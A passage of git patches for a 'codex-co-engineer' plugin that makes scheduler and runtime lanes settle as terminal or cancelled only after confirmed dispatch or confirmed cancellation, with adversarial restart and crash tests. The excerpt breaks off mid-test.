lanes.push(reconstructLane(assignment, inspected)); + lanes.push(reconstructLane(assignment, inspected, { dispatched: true })); continue; } let inspected; @@ -2081,18 +2126,22 @@ function wrapDurableScheduler({ } catch { inspected = { task_id: assignment.task_id, status: 'unresolved', cancelled: false }; } - const lane = reconstructLane(assignment, inspected, { cancelAttempted: true }); + const lane = reconstructLane(assignment, inspected, { + cancelAttempted: true, + dispatched: true, + }); if (lane.cancel_confirmed !== true) unconfirmed = true; lanes.push(lane); } + const blocked = unconfirmed || dispatched !== true; return freezeData({ schema: 'codex-co-engineer.run-scheduler-receipt.v1', - status: unconfirmed ? 'inspected' : 'cancelled', + status: blocked ? 'inspected' : 'cancelled', run_id: plan.run_id, base_sha: plan.base_sha, created: false, lanes, - complete_candidate_blocked: unconfirmed, + complete_candidate_blocked: blocked, wake: false, remote_mutated: false, observed_at: clock(), diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs index 128449b..6758eab 100644 --- a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs @@ -308,6 +308,163 @@ test('crash before dispatch cannot duplicate dispatch after restart', async () = } }); +const FORBIDDEN_RESTART_AUTHORITY = new Set(['running', 'cancelled', 'safe', 'dispatched']); + +function assertPreDispatchCrashProjection(receipt) { + assert.equal(receipt.complete_candidate_blocked, true); + assert.equal(receipt.decision_or_attention.unresolved_required_blocks, true); + assert.equal(receipt.side_effects.provider_dispatched, false); + assert.equal(receipt.side_effects.replay, false); + assert.equal(receipt.side_effects.fallback, false); + assert.equal(receipt.cleanup.cleaned, false); + assert.equal(FORBIDDEN_RESTART_AUTHORITY.has(receipt.status), false); + assert.equal(receipt.lanes.length > 0, true); + for (const lane of receipt.lanes) { + assert.equal(lane.status, 'unresolved'); + assert.equal(lane.unresolved == null, false); + assert.equal(typeof lane.unresolved.code, 'string'); + assert.notEqual(lane.cancel_confirmed, true); + assert.equal(FORBIDDEN_RESTART_AUTHORITY.has(lane.status), false); + } +} + +async function readDurablePlan(root) { + const planPath = path.join(root, 'runs', 'scheduler', `${RUN_ID}.json`); + return JSON.parse(await readFile(planPath, 'utf8')); +} + +test('pre-dispatch crash reopens unresolved and never projects running/safe/cancelled', async () => { + const dispatchCalls = []; + const inspectCalls = []; + const cancelCalls = []; + const hooks = { + delegateTask: async (plan) => { + dispatchCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + inspectCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + cancelCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + beforeProviderDispatch: async () => { + throw new RunContractV1Error( + 'durable_state_mismatch', + 'plan', + 'Durable run state is stale, partial, or mismatched.', + ); + }, + }; + const first = await createDurableAdapter(hooks); + try { + const crashed = await errorOf(() => first.adapter.dispatch('delegate', makeRunArgs())); + assert.equal(crashed.code, 'durable_state_mismatch'); + assert.equal(dispatchCalls.length, 0); + const persisted = await readDurablePlan(first.root); + assert.equal(persisted.dispatched, false); + + const reopen = () => createDurableAdapter({ root: first.root, ...hooks }); + + const statusAdapter = await reopen(); + const reconstructed = await statusAdapter.seams.scheduler.resumeAssignments({ run_id: RUN_ID }); + assert.equal(reconstructed.lanes[0].dispatched, false); + assert.equal(reconstructed.lanes[0].status, 'unresolved'); + assert.equal(reconstructed.lanes[0].unresolved.code, 'dispatch_failed'); + assert.equal(reconstructed.complete_candidate_blocked, true); + const inspected = await statusAdapter.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.operation, 'status'); + assert.equal(inspected.tool, 'status'); + assertPreDispatchCrashProjection(inspected); + assert.equal(inspected.lanes[0].unresolved.code, 'dispatch_failed'); + assert.equal(inspectCalls.length, 0); + assert.equal(dispatchCalls.length, 0); + + const resumeAdapter = await reopen(); + const resumed = await resumeAdapter.adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 0, + }); + assert.equal(resumed.operation, 'wait'); + assert.equal(resumed.tool, 'task'); + assertPreDispatchCrashProjection(resumed); + assert.equal(inspectCalls.length, 0); + assert.equal(dispatchCalls.length, 0); + + const resubmitAdapter = await reopen(); + const resubmit = await resubmitAdapter.adapter.dispatch('delegate', makeRunArgs()); + assert.equal(resubmit.operation, 'submit'); + assert.equal(resubmit.tool, 'delegate'); + assertPreDispatchCrashProjection(resubmit); + assert.equal(dispatchCalls.length, 0); + assert.equal(inspectCalls.length, 0); + + const cancelAdapter = await reopen(); + const cancelled = await cancelAdapter.adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.operation, 'cancel'); + assert.equal(cancelled.tool, 'cancel'); + assert.equal(cancelled.status, 'unresolved'); + assertPreDispatchCrashProjection(cancelled); + assert.equal(cancelled.lanes[0].unresolved.code, 'safe_cancel_unconfirmed'); + assert.equal(cancelCalls.length, 0); + assert.equal(inspectCalls.length, 0); + assert.equal(dispatchCalls.length, 0); + assert.equal((await readDurablePlan(first.root)).dispatched, false); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + +test('legitimate dispatched restart still inspects and never redispatches', async () => { + const dispatchCalls = []; + const inspectCalls = []; + const cancelCalls = []; + const hooks = { + delegateTask: async (plan) => { + dispatchCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + inspectCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'running', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + cancelCalls.push(plan.task_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + }; + const first = await createDurableAdapter(hooks); + try { + const submitted = await first.adapter.dispatch('delegate', makeRunArgs()); + assert.equal(submitted.operation, 'submit'); + assert.equal(dispatchCalls.length, 1); + assert.equal((await readDurablePlan(first.root)).dispatched, true); + + const restarted = await createDurableAdapter({ root: first.root, ...hooks }); + const reconstructed = await restarted.seams.scheduler.resumeAssignments({ run_id: RUN_ID }); + assert.equal(reconstructed.lanes[0].dispatched, true); + assert.equal(reconstructed.lanes[0].status, 'running'); + assert.equal(reconstructed.complete_candidate_blocked, false); + const inspected = await restarted.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.operation, 'status'); + assert.equal(inspected.lanes[0].status, 'running'); + assert.equal(inspected.lanes[0].unresolved, null); + assert.equal(inspected.complete_candidate_blocked, false); + assert.equal(inspected.side_effects.provider_dispatched, false); + assert.equal(dispatchCalls.length, 1); + assert.equal(inspectCalls.length >= 1, true); + assert.equal(cancelCalls.length, 0); + } finally { + await rm(first.root, { recursive: true, force: true }); + } +}); + test('stale partial and mismatched scheduler plans fail closed', async () => { const first = await createDurableAdapter(); try { From 2920be61691dc0ba2bbbbfa9045d575600328f3e Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 16:33:19 +0000 Subject: [PATCH 149/151] fix(v3): gate runtime terminal acceptance on dispatched truth Accept child and run journal terminals only for authoritatively dispatched lanes, settle cancelled only on confirmed cancellation, and keep dispatched=false/unresolved nonterminal through resume and cancel. --- .../codex-co-engineer/mcp/v3/run-runtime.mjs | 48 ++++++++--- .../test/r1-run-runtime-adversarial.test.mjs | 84 +++++++++++++++++++ .../test/r1-run-runtime-dependencies.test.mjs | 33 ++++++++ .../test/r1-run-runtime.test.mjs | 56 +++++++++++++ 4 files changed, 209 insertions(+), 12 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs b/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs index 0156b8a..7ba76a7 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs @@ -8,7 +8,9 @@ // dispatch happens only when P24 reports created=true. inspect/remember // recover stored submission identity and never invent a placeholder // digest. Child terminal journal facts are accepted only after -// settleLocalTaskLifecycle returns final=true. +// settleLocalTaskLifecycle returns final=true and only for +// authoritatively dispatched lanes. Unresolved evidence and unconfirmed +// cancellation never map to a journal terminal outcome. // cleanupLocalTaskLifecycle is invoked idempotently on // terminal, cancel, and restart. Artifact cleanup is proof-bound and // never runs without that finality. P27 is composed as R24A @@ -234,7 +236,7 @@ const SCHEDULER_MISSING_CODES = capturedFreeze([ 'runtime_run_unknown', ]); const TERMINAL_LANE_STATUSES = capturedFreeze([ - 'completed', 'failed', 'cancelled', 'unresolved', 'timeout', + 'completed', 'failed', 'cancelled', 'timeout', 'transport_lost', 'environment_blocked', ]); const JOURNAL_TERMINAL_STATUSES = capturedFreeze([ @@ -752,14 +754,37 @@ function schedulerLaneStatus(lane) { return capturedIncludes(RUN_RUNTIME_LANE_STATUSES, status) ? status : 'unresolved'; } +function isAuthoritativeDispatch(lane) { + return lane?.dispatched !== false; +} + +function isConfirmedCancelled(lane) { + return isAuthoritativeDispatch(lane) + && schedulerLaneStatus(lane) === 'cancelled' + && lane?.cancel_confirmed === true; +} + function isSchedulerTerminal(status) { return capturedIncludes(TERMINAL_LANE_STATUSES, status); } +function isAcceptableChildTerminal(lane) { + if (!isAuthoritativeDispatch(lane)) return false; + const status = schedulerLaneStatus(lane); + if (status === 'cancelled') return lane?.cancel_confirmed === true; + return isSchedulerTerminal(status) && status !== 'transport_lost'; +} + +function authoritativeLaneStatus(lane) { + if (!isAuthoritativeDispatch(lane)) return 'unresolved'; + const status = schedulerLaneStatus(lane ?? { status: 'dispatched' }); + if (status === 'cancelled' && lane?.cancel_confirmed !== true) return 'unresolved'; + return status; +} + function journalOutcomeFor(status) { if (status === 'completed') return 'completed'; if (status === 'cancelled') return 'cancelled'; - if (status === 'unresolved') return 'cancelled'; if (capturedIncludes(JOURNAL_TERMINAL_STATUSES, status) || status === 'failed' || status === 'timeout' || status === 'environment_blocked') { return 'failed'; @@ -783,8 +808,9 @@ function pickLane(schedulerReceipt, assignmentId) { } function projectLane(assignment, schedulerLane, lifecycle) { - const status = schedulerLaneStatus(schedulerLane ?? { status: 'dispatched' }); - const overlay = lifecycle && isSchedulerTerminal(status) && lifecycle.final !== true + const rawLane = schedulerLane ?? { status: 'dispatched' }; + const status = authoritativeLaneStatus(rawLane); + const overlay = lifecycle && isAcceptableChildTerminal(rawLane) && lifecycle.final !== true ? 'lifecycle_pending' : status; return freezeData({ @@ -1469,14 +1495,13 @@ export function createRunRuntime(dependencies) { let pending = false; for (const assignment of record.assignments) { const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); - const status = schedulerLaneStatus(schedulerLane); let lifecycle = null; - if (selected.includes(assignment.assignment_id) && isSchedulerTerminal(status) - && status !== 'transport_lost') { + if (selected.includes(assignment.assignment_id) + && isAcceptableChildTerminal(schedulerLane)) { lifecycle = await settleAndCleanup(injected, record, assignment, schedulerLane, 'resume'); if (lifecycle.final === true) { - const outcome = journalOutcomeFor(status); + const outcome = journalOutcomeFor(authoritativeLaneStatus(schedulerLane)); if (outcome !== null) { state = await ensureChildStarted(handle, state, assignment.assignment_id); state = await acceptChildTerminal(handle, state, assignment.assignment_id, @@ -1531,7 +1556,7 @@ export function createRunRuntime(dependencies) { for (const assignment of record.assignments) { const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); let lifecycle = null; - if (selected.includes(assignment.assignment_id)) { + if (selected.includes(assignment.assignment_id) && isConfirmedCancelled(schedulerLane)) { lifecycle = await settleAndCleanup(injected, record, assignment, schedulerLane, 'cancel'); if (lifecycle.final === true) { @@ -1599,9 +1624,8 @@ export function createRunRuntime(dependencies) { continue; } const schedulerLane = pickLane(schedulerReceipt, assignment.assignment_id); - const status = schedulerLaneStatus(schedulerLane); let lifecycle = null; - if (isSchedulerTerminal(status) && status !== 'transport_lost') { + if (isAcceptableChildTerminal(schedulerLane)) { lifecycle = await invokeLifecycle(injected.settleLocalTaskLifecycle, record, assignment, schedulerLane?.task_id ?? assignment.task_id, 'inspect', 'settleLocalTaskLifecycle'); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs index 33aa768..15c2b78 100644 --- a/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs @@ -320,3 +320,87 @@ test('resume of a cancelled lane does not redispatch', async () => { assert.equal(resumed.side_effects.replay, false); assert.equal(resumed.side_effects.duplicate_dispatch, false); }); + +function journalKinds(harness, runId) { + return (harness.runJournal._handles.get(runId)?.events ?? []).map((event) => event.kind); +} + +test('restart resume of dispatched=false/unresolved stays nonterminal and blocked', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + delegateErrorFor: new Set([ASSIGNMENT_ID]), + }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + const submitted = await harness.runtime.submitRun(request); + assert.equal(submitted.lanes[0].status, 'unresolved'); + assert.equal(submitted.complete_candidate_blocked, true); + assert.equal(submitted.journal.terminal, false); + + harness.scheduler.inspectStatusByAssignment.set(ASSIGNMENT_ID, 'completed'); + const fresh = createFreshRuntime(harness); + const resumed = await fresh.runtime.resumeRun({ run_id: request.run_id }); + assert.equal(resumed.lanes[0].status, 'unresolved'); + assert.equal(resumed.complete_candidate_blocked, true); + assert.equal(resumed.journal.terminal, false); + assert.equal(resumed.journal.run_outcome, null); + assert.equal(resumed.side_effects.replay, false); + assert.equal(resumed.side_effects.duplicate_dispatch, false); + const kinds = journalKinds(harness, request.run_id); + assert.equal(kinds.includes('child_started'), false); + assert.equal(kinds.includes('child_terminal'), false); + assert.equal(kinds.includes('run_terminal'), false); + assert.equal(fresh.lifecycle.cleanupCalls.length, 0); + assert.equal(harness.scheduler.calls.submit, 1); +}); + +test('restart cancel of dispatched=false/unresolved stays unresolved and does not journal-cancel', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + delegateErrorFor: new Set([ASSIGNMENT_ID]), + }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const fresh = createFreshRuntime(harness); + const cancelled = await fresh.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.lanes[0].status, 'unresolved'); + assert.equal(cancelled.complete_candidate_blocked, true); + assert.equal(cancelled.journal.terminal, false); + assert.equal(cancelled.journal.run_outcome, null); + assert.notEqual(cancelled.journal.run_outcome, 'cancelled'); + const kinds = journalKinds(harness, request.run_id); + assert.equal(kinds.includes('child_started'), false); + assert.equal(kinds.includes('child_terminal'), false); + assert.equal(kinds.includes('run_terminal'), false); + assert.equal(fresh.lifecycle.cleanupCalls.length, 0); + assert.equal(harness.scheduler.calls.submit, 1); + assert.equal(cancelled.side_effects.replay, false); +}); + +test('unconfirmed cancel remains unresolved and does not set journal cancelled', async () => { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ cancelConfirmed: false }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const cancelled = await harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.lanes[0].status, 'unresolved'); + assert.equal(cancelled.lanes[0].unresolved?.code, 'safe_cancel_unconfirmed'); + assert.equal(cancelled.complete_candidate_blocked, true); + assert.equal(cancelled.journal.terminal, false); + assert.equal(cancelled.journal.run_outcome, null); + const kinds = journalKinds(harness, request.run_id); + assert.equal(kinds.includes('child_terminal'), false); + assert.equal(kinds.includes('run_terminal'), false); + assert.equal(harness.lifecycle.cleanupCalls.length, 0); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs index 800b520..91ee37f 100644 --- a/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs @@ -204,6 +204,39 @@ test('resume against a real P25 journal accepts terminal only after injected lif }); }); +test('restart resume of a never-dispatched P25 lane stays unresolved and nonterminal', async () => { + await withLegacyRuntime(async (harness) => { + const scheduler = createMemoryScheduler({ + delegateErrorFor: new Set([ASSIGNMENT_ID]), + }); + const lifecycle = createLifecycleFns({ final: true }); + const runtime = bindLegacyRuntime({ ...harness, scheduler, lifecycle }); + const request = makeSubmitRequest(); + const submitted = await runtime.submitRun(request); + assert.equal(submitted.lanes[0].status, 'unresolved'); + assert.equal(submitted.journal.terminal, false); + + const restarted = bindLegacyRuntime({ ...harness, scheduler, lifecycle }); + const resumed = await restarted.resumeRun({ run_id: request.run_id }); + assert.equal(resumed.lanes[0].status, 'unresolved'); + assert.equal(resumed.complete_candidate_blocked, true); + assert.equal(resumed.journal.terminal, false); + assert.equal(resumed.journal.run_outcome, null); + assert.equal(lifecycle.cleanupCalls.length, 0); + + const cancelled = await restarted.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.lanes[0].status, 'unresolved'); + assert.equal(cancelled.complete_candidate_blocked, true); + assert.equal(cancelled.journal.terminal, false); + assert.equal(cancelled.journal.run_outcome, null); + assert.equal(lifecycle.cleanupCalls.length, 0); + assert.equal(scheduler.calls.submit, 1); + }); +}); + test('R24A resolution_ready plus R25B aggregate journal is the dispatch path', async () => { const prepared = await makeResolvedAnchor({ runId: 'p33-aggregate-run' }); const storeRoot = await makeStoreRoot('r1-p33-agg-store-'); diff --git a/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs b/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs index 8319a7e..923d98a 100644 --- a/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-runtime.test.mjs @@ -342,6 +342,62 @@ test('cancelRun cancels only named lanes, settles lifecycle, and proof-binds cle assertDeniedSideEffects(cancelled); }); +test('confirmed dispatched cancellation settles journal cancelled', async () => { + const harness = createRuntime({ + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const cancelled = await harness.runtime.cancelRun({ + run_id: request.run_id, + assignment_ids: [ASSIGNMENT_ID], + }); + assert.equal(cancelled.status, 'cancelled'); + assert.equal(cancelled.lanes[0].status, 'cancelled'); + assert.equal(cancelled.journal.terminal, true); + assert.equal(cancelled.journal.run_outcome, 'cancelled'); + const handle = harness.runJournal._handles.get(request.run_id); + const kinds = handle.events.map((event) => event.kind); + assert.ok(kinds.includes('child_started')); + assert.ok(kinds.includes('child_terminal')); + assert.ok(kinds.includes('run_terminal')); + assertDeniedSideEffects(cancelled); +}); + +test('dispatched terminal success, failure, timeout, and transport-loss keep their journal mapping', async () => { + const cases = [ + { status: 'completed', terminal: true, outcome: 'completed', blocked: false }, + { status: 'failed', terminal: true, outcome: 'failed', blocked: true }, + { status: 'timeout', terminal: true, outcome: 'failed', blocked: false }, + { status: 'transport_lost', terminal: false, outcome: null, blocked: true }, + ]; + for (const expected of cases) { + const harness = createRuntime({ + scheduler: createMemoryScheduler({ + inspectStatusByAssignment: new Map([[ASSIGNMENT_ID, expected.status]]), + }), + lifecycle: createLifecycleFns({ final: true, cleanupStatus: 'normal' }), + }); + const request = makeSubmitRequest(); + await harness.runtime.submitRun(request); + const resumed = await harness.runtime.resumeRun({ run_id: request.run_id }); + assert.equal(resumed.lanes[0].status, expected.status, expected.status); + assert.equal(resumed.journal.terminal, expected.terminal, expected.status); + assert.equal(resumed.journal.run_outcome, expected.outcome, expected.status); + assert.equal(resumed.complete_candidate_blocked, expected.blocked, expected.status); + const handle = harness.runJournal._handles.get(request.run_id); + assert.equal(handle.events.some((event) => event.kind === 'run_terminal'), + expected.terminal, expected.status); + if (expected.terminal) { + const terminal = handle.events.find((event) => event.kind === 'child_terminal'); + assert.equal(terminal.data.outcome, expected.outcome, expected.status); + } else { + assert.equal(handle.events.some((event) => event.kind === 'child_terminal'), false, + expected.status); + } + } +}); + test('cleanup without lifecycle finality is refused and does not remove artifacts', async () => { const harness = createRuntime({ lifecycle: createLifecycleFns({ final: false, cleanupStatus: 'pending' }), From 417a0975478ef8f5fb5bea79208b3b6d603b2707 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 18:08:04 +0000 Subject: [PATCH 150/151] fix(v3): persist per-assignment durable dispatch truth --- .../mcp/v3/run-tool-adapter.mjs | 103 +++++++- .../r1-run-tool-adapter-adversarial.test.mjs | 243 +++++++++++++++++- 2 files changed, 338 insertions(+), 8 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs index d27a4bf..861d90e 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs @@ -1865,7 +1865,82 @@ function boundCatalogSnapshotPayload(snapshot) { }; } +function assignmentDispatchFacts(assignments, dispatchedById = null) { + if (!ARRAY_IS_ARRAY(assignments)) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + const facts = []; + const seen = new Set(); + for (const assignment of assignments) { + const assignmentId = assignment?.assignment_id; + if (typeof assignmentId !== 'string' || seen.has(assignmentId)) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + seen.add(assignmentId); + facts.push({ + assignment_id: assignmentId, + dispatched: dispatchedById instanceof Map + ? dispatchedById.get(assignmentId) === true + : false, + }); + } + return facts; +} + +function dispatchFactsFromReceipt(assignments, receipt) { + const byId = new Map(); + if (ARRAY_IS_ARRAY(receipt?.lanes)) { + for (const lane of receipt.lanes) { + if (lane === null || typeof lane !== 'object' || ARRAY_IS_ARRAY(lane) || IS_PROXY(lane)) { + continue; + } + if (typeof lane.assignment_id === 'string') { + byId.set(lane.assignment_id, lane.dispatched === true); + } + } + } + return assignmentDispatchFacts(assignments, byId); +} + +function boundAssignmentDispatch(plan) { + const facts = plan.assignment_dispatch; + if (!ARRAY_IS_ARRAY(facts) || facts.length !== plan.assignments.length) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + const bound = []; + const seen = new Set(); + for (let index = 0; index < plan.assignments.length; index += 1) { + const assignmentId = plan.assignments[index]?.assignment_id; + const fact = facts[index]; + if (fact === null || typeof fact !== 'object' || ARRAY_IS_ARRAY(fact) || IS_PROXY(fact) + || typeof assignmentId !== 'string' + || fact.assignment_id !== assignmentId + || typeof fact.dispatched !== 'boolean' + || seen.has(assignmentId)) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + seen.add(assignmentId); + bound.push({ + assignment_id: assignmentId, + dispatched: fact.dispatched === true, + }); + } + const allDispatched = bound.every((fact) => fact.dispatched === true); + if ((plan.dispatched === true) !== allDispatched) { + failAdapter('durable_state_mismatch', 'plan', CONTENT_FREE.durable_state_mismatch); + } + return bound; +} + async function persistSchedulerPlan(schedulerRoot, payload) { + const assignmentDispatch = ARRAY_IS_ARRAY(payload.assignment_dispatch) + ? payload.assignment_dispatch.map((fact) => ({ + assignment_id: fact.assignment_id, + dispatched: fact.dispatched === true, + })) + : assignmentDispatchFacts(payload.assignments); + const dispatched = assignmentDispatch.length > 0 + && assignmentDispatch.every((fact) => fact.dispatched === true); await persistAtomicJson(planPath(schedulerRoot, payload.run_id), { schema: SCHEDULER_PLAN_SCHEMA, run_id: payload.run_id, @@ -1873,7 +1948,8 @@ async function persistSchedulerPlan(schedulerRoot, payload) { assignments: payload.assignments, plan_identity: payload.plan_identity, catalog_digest: payload.catalog_digest ?? null, - dispatched: payload.dispatched === true, + dispatched, + assignment_dispatch: assignmentDispatch, }); if (payload.catalog_snapshot !== null && payload.catalog_snapshot !== undefined) { await persistAtomicJson(catalogSnapshotPath(schedulerRoot, payload.run_id), payload.catalog_snapshot); @@ -1905,6 +1981,7 @@ async function loadSchedulerPlan(schedulerRoot, runId) { failAdapter('durable_state_mismatch', 'catalog', CONTENT_FREE.durable_state_mismatch); } } + parsed.assignment_dispatch = boundAssignmentDispatch(parsed); return parsed; } @@ -1912,6 +1989,17 @@ function planWasDispatched(plan) { return plan?.dispatched === true; } +function assignmentWasDispatched(plan, assignment) { + const assignmentId = assignment?.assignment_id; + if (!ARRAY_IS_ARRAY(plan?.assignment_dispatch) || typeof assignmentId !== 'string') { + return false; + } + for (const fact of plan.assignment_dispatch) { + if (fact?.assignment_id === assignmentId) return fact.dispatched === true; + } + return false; +} + function reconstructLane(assignment, inspected, { cancelAttempted = false, dispatched = false, } = {}) { @@ -2010,9 +2098,9 @@ async function inspectPlanLane(inspectTask, plan, assignment) { } async function reconstructPlanReceipt(plan, inspectTask, clock, status = 'inspected') { - const dispatched = planWasDispatched(plan); const lanes = []; for (const assignment of plan.assignments) { + const dispatched = assignmentWasDispatched(plan, assignment); const inspected = dispatched === true ? await inspectPlanLane(inspectTask, plan, assignment) : null; @@ -2025,7 +2113,7 @@ async function reconstructPlanReceipt(plan, inspectTask, clock, status = 'inspec base_sha: plan.base_sha, created: false, lanes, - complete_candidate_blocked: dispatched !== true || lanes.some((lane) => lane.required + complete_candidate_blocked: planWasDispatched(plan) !== true || lanes.some((lane) => lane.required && (lane.status === 'unresolved' || lane.status === 'failed')), wake: false, remote_mutated: false, @@ -2056,12 +2144,14 @@ function wrapDurableScheduler({ catalog_digest: catalogPayload?.catalog_digest ?? null, catalog_snapshot: catalogPayload, dispatched: false, + assignment_dispatch: assignmentDispatchFacts(request.assignments), }); pendingRunCatalogSnapshots.delete(request.run_id); if (typeof beforeProviderDispatch === 'function') { await beforeProviderDispatch(request); } const receipt = await inner.submitAssignments(request); + const assignmentDispatch = dispatchFactsFromReceipt(request.assignments, receipt); await persistSchedulerPlan(schedulerRoot, { run_id: request.run_id, base_sha: request.base_sha, @@ -2069,7 +2159,8 @@ function wrapDurableScheduler({ plan_identity: identity, catalog_digest: catalogPayload?.catalog_digest ?? null, catalog_snapshot: catalogPayload, - dispatched: true, + dispatched: assignmentDispatch.every((fact) => fact.dispatched === true), + assignment_dispatch: assignmentDispatch, }); return receipt; }, @@ -2094,12 +2185,12 @@ function wrapDurableScheduler({ } const plan = await loadSchedulerPlan(schedulerRoot, request.run_id); if (plan === null) throw error; - const dispatched = planWasDispatched(plan); const selected = new Set(request.assignment_ids ?? []); const lanes = []; let unconfirmed = false; for (const assignment of plan.assignments) { const selectedLane = selected.has(assignment.assignment_id); + const dispatched = assignmentWasDispatched(plan, assignment); if (dispatched !== true) { const lane = reconstructLane(assignment, null, { cancelAttempted: selectedLane, @@ -2133,7 +2224,7 @@ function wrapDurableScheduler({ if (lane.cancel_confirmed !== true) unconfirmed = true; lanes.push(lane); } - const blocked = unconfirmed || dispatched !== true; + const blocked = unconfirmed || planWasDispatched(plan) !== true; return freezeData({ schema: 'codex-co-engineer.run-scheduler-receipt.v1', status: blocked ? 'inspected' : 'cancelled', diff --git a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs index 6758eab..9fd0a95 100644 --- a/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs @@ -1,7 +1,7 @@ // R-CUTOVER adversarial coverage: catalog stability, omission compatibility, // validation-before-side-effects, learned routing, P22 isolation, proxies, -// mixed operations, evidence leaks, cleanup without proof, and remote -// mutation denial. +// mixed operations, evidence leaks, cleanup without proof, remote +// mutation denial, and per-assignment dispatch durability. import assert from 'node:assert/strict'; import { inspect, types as utilTypes } from 'node:util'; @@ -465,6 +465,245 @@ test('legitimate dispatched restart still inspects and never redispatches', asyn } }); +function laneByAssignment(receipt, assignmentId) { + return receipt.lanes.find((lane) => lane.assignment_id === assignmentId); +} + +function assertZeroReplay(receipt) { + assert.equal(receipt.side_effects.replay, false); + assert.equal(receipt.side_effects.fallback, false); + assert.equal(receipt.candidate.composed, false); + assert.equal(receipt.candidate.ready_for_codex_review, false); +} + +function assertNeverDispatchedLane(lane, inspectCalls, cancelCalls) { + assert.equal(lane.dispatched === true, false); + assert.equal(lane.status, 'unresolved'); + assert.equal(FORBIDDEN_RESTART_AUTHORITY.has(lane.status), false); + assert.notEqual(lane.status, 'completed'); + assert.notEqual(lane.status, 'cancelled'); + assert.notEqual(lane.cancel_confirmed, true); + assert.equal(lane.unresolved == null, false); + assert.equal(typeof lane.unresolved.code, 'string'); + assert.equal(inspectCalls.includes(lane.assignment_id), false); + assert.equal(cancelCalls.includes(lane.assignment_id), false); +} + +test('two-lane partial dispatch restart never inspects or terminalizes the never-dispatched lane', async () => { + const laneA = makeAssignment({ assignmentId: 'lane-a', taskId: 'task-a', writeScope: ['a/**'] }); + const laneB = makeAssignment({ assignmentId: 'lane-b', taskId: 'task-b', writeScope: ['b/**'] }); + const runArgs = makeRunArgs({ assignments: [laneA, laneB] }); + const mixedDispatch = []; + const mixedInspect = []; + const mixedCancel = []; + const mixedHooks = { + delegateTask: async (plan) => { + mixedDispatch.push(plan.assignment_id); + if 